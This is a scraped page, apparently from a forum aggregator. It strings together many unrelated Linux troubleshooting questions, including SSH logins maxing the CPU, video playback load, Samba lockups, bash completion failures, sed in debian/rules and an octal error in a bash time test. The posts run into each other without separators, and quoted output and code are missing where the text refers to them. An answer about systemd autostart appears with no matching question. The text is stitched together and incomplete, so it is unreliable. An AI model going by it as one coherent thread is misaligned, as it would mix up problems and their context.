I have a virtual server with debian and since last Friday a problem. The server is running normally. All sites hosted show no problems. But If I logon via ssh is the CPU usage of all cores goes to 100%. A simple cd (change dir) then takes about 90 seconds. using top or htop bash is the top scorer. Unfortunately I have absolutely no approach what I have to change here or where the misconduct comes from.

I am using the rather old openSUSE 11.0 with no plans of upgrading to 11.3 as of now. My system is also 5+ years with a P4 2.66GHz but with 2.5Gb ram. HD videos are utilizing 100% cpu and the video also keeps shaking. Neither does any other app work during this time. I cannot even stop the player. I've tried mplayer, smplayer, vlc, totem, gnome-player --- all with the same result.
But windows XP utilizes about 60% cpu and so no such problems. I also have ubuntu 7.10 installed and even mplayer here uses 100% cpu. Also not a troublesome issue but XP has higher volume.
My Ubuntu consumes too much memory. I have checked it with memstat and have found a lot of lines like these:

There are more than 480 lines like this! What are these fontconfigs for? Where do they come from?
My computer has 4GB installed but for some reason I could only see the 2 of the 4. At first I thought that this was because the XEN virtual operating system manager was running but even after I turned it off the problem exists. I could only see and use the 2GB of memory.

I've had this problem recently. Whenever I open an open office.org document from a cifs/SAMBA share as I navigate through it my laptop will lock up, and by lock up I mean so bad that I can't even move the mouse. If I let it sit for anywhere from 30 seconds to 2 minutes it will come out of it. Trying to navigate through the document again will trigger a similar episode.
I finally got fed up and opened a terminal with top and set it to always on top, then I opened my samba share, opened my spreadsheet. and proceeded to trigger my problem. When the lockup happened it was so bad and so quick that top stopped updating and I wasn't even able to see something creep up in CPU usage. As it came out of it top started updating in bursts, first ksoftirqd/0 was at 100%, then that dropped to near nothing, then xorg spiked to 100%, then the system returned to normal.
I googled around an found lots of speculation, and bug reports that were way above my head. Some of the speculation suggested it was a kernel issue, but that has supposedly been fixed. Another forum post said that it was a multi-processor issue. (the guy was running it in a vm so he just removed the vCPU) And yet another suggested a network issue/attack. I am running a Dell Latitude D620 with a dual core Intel proc and a Broadcomm network card (wired) and an Intel wireless card. I have all the latest updates. The shares I experience this issue with (only shares I really use) are on a Netapp and are active directory integrated (my laptop is not joined to the domain)
Rhythmbox stalls my computer. I start it and within 10-20 seconds it starts to search something (i.e. in the right bottom there appears a box with a red box sliding left and right). It consumes all my memory (1 giga) and the only thing it does is identify text files in a general directory, NOT in Music. I have completely removed the install, installed it again, the same text files earlier IDed are still there? Is there an alternative?

I am using ubuntu 10.10 with gnome desktop on a desktop computer (pentium 4 cpu with 1 Gb memory), and when I use OpenOffice Impress, convert opens up and uses most of my cpu power. Even worse, after closing OpenOffice and all instances of nautilus, convert stays in memory and keeps using most of my cpu power (between 30 and 75 %, acccording to system monitor.Is it normal ? How could I set up my computer to limit convert cpu usage, and to unload from memory after being used.
View 3 Replies View RelatedI'm running Ubuntu 11.04 (64bit) on my Thinkpad X220. When I watch flash videos I see that Xorg consumes a lot of resources (CPU time). Flash videos in full screen are extremely choppy. Playing videos with Mplayer, for example, is no problem at all. Any ideas how this can be fixed? I found lots of posts by other people with similar problems but they had different graphics cards so their solutions were not applicable in my case.

I am having a php script which is used for bulk mailing. I run the script every minute through cron job. I have mentioned the path of the php script in a .sh file and execute the .sh file through cron job. Every time i run the script it utilizes high memory which results to server crash. how to restrict memory usage for that process to be a minimum one or how to set priority to be low for that process so that it is executed when there is no high priority jobs, so that the server runs normally without going down when the script runs

View 3 Replies View RelatedI'm in the process of switching from Ubuntu 10.04 to Debian 6.0. The install went pretty well after some tinkering, but I want to replicate my bash environment from Ubuntu to the new Debian system.
I've copied over my /etc/bash.bashrc and my /etc/profile. I renamed my ~/.bashrc, logged out and back in, and expected to have my original shell environment because I would be defaulting to the system-wide settings in /etc.
Instead, the stock Debian environment remains: No completion, only the $ prompt, no up-arrow history, etc. I don't get what it's reading from and why /etc/bash.bashrc isn't being accessed. (Bash completion is installed.)
when i created new user with # useradd -m newuser and logged in as newuser, i cannot have the autocompletion that the first user have.Why? How do i set newuser to use bash and the same for all other user?

How can we do a file replacing string on debian/rules file using sed and bash variable ? I don't seem to be able to do so. I have tried below under the install section with arch dependent amd64, as far as I know all the bash commands are allowed to be executed in debian/rules file.
I have tried this :
Code: Select all
debian/rules file
ipaddr=`<long command to find ipaddr>`
myVar=`hostname`
sed -i -e 's/somestring/'$myVar'/g' $(configs)*
sed -i -e "s/somestring/$myVar/g" $(configs)*
[Code]...
Nothing works. Sed works but the hostname replacement doesn't work.
I'm trying to get a bash script to do different things based on the time of day, but at least once a day the test fails:
Code: Select allNOW=$(date +%k%M)
if [[ "$NOW" -ge 1000 ]] && [[ "$NOW" -le 2200 ]];then
alarm lon
else
alarm loff
fi
This is the error, and line 59 is the second quoted above:
Code: Select all/home/electrolux/bin/ts.sh: line 59: [[: 059: value too great for base (error token is "059")
The script is run every minute, and this error only occurs at 12:59AM, or 00:59.
I presume the problem is either $NOW is being set to 059, or the testing is seeing 0059 as 059. I think the latter, because for the rest of midnight 'til 00:58 the script works. And with some Googling it seems that the leading 0 is making test treat the number as octal... is there a way to tell it it is decimal?
Perhaps this is just some poor time-testing code? Looking at it I don't think it will cope with set time period that crosses midnight..... there's probably just a command to do what I want, isn't there? I know I could have two different scripts cron'd for the different time periods, but it would be much more preferable to be just the one.
i'm trying all the time to use this (find,sed gnu,..etc) scrip to find and remove this string in all files *.php in wwwbackup/ directory. the script work without any error, but doesn't remove any thing!?

how can i become this script working?
how to do in Debian
1. am required to create a bash-shell script called terminator that terminates all processes of a name given to the shell script as an argument. Make sure the terminator shell script will not take any crucial file system services as arguments.
2. Show how you would configure an Ethernet card by reapplying your existing IP and network mask
3. Install a workable nfs file sharing system between your system and a remote system, using optimum values for resize and wsize.To demonstrate send a 512Mb block of random data between client and server using the dd command.Write down the relevant steps and procedures
You are probably using systemd (check it with ps --pid 1) and therefore /etc/init.d isn't considered for autostart. Here can you find some information about systemd and autostart [1]. As far as I know systemd isn't intended to start applications with systemd. I recommend you to use the autostart feature of your window manager or desktop environment or at least the .xinitrc.

darkswamp is my hostname that I made up when I installed. On Slackware I'm used to it saying:

I'm starting Konsole the same way on both:
konsole -e $SHELL -l
I kind of wish it still said "root" just because I'm used to it.

For some reason my bash autocomplete stopped working. I get the error when I try to cd into a directory, pressing <tab> for autocomplete:
cd A-sh: <( compgen -d -- 'A' ): No such file or directory
Autocomplete works for the root user and for the other user on the machine, just not logged in as this user. The .bashrc file looks fine to me, and I didn't make any changes to it to even cause the bash autocomplete to stop working (as far as I know).
# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
if [ -f /etc/bash_completion ]; then
. /etc/bash_completion
fi
What else could cause autcomplete to stop working? I log in via ssh, btw.
I know I was asked about wanting to change/upgrade my shell during the upgrade from Lenny to Squeeze, but I can't remember what it said, and I can't find any documentation about it online.
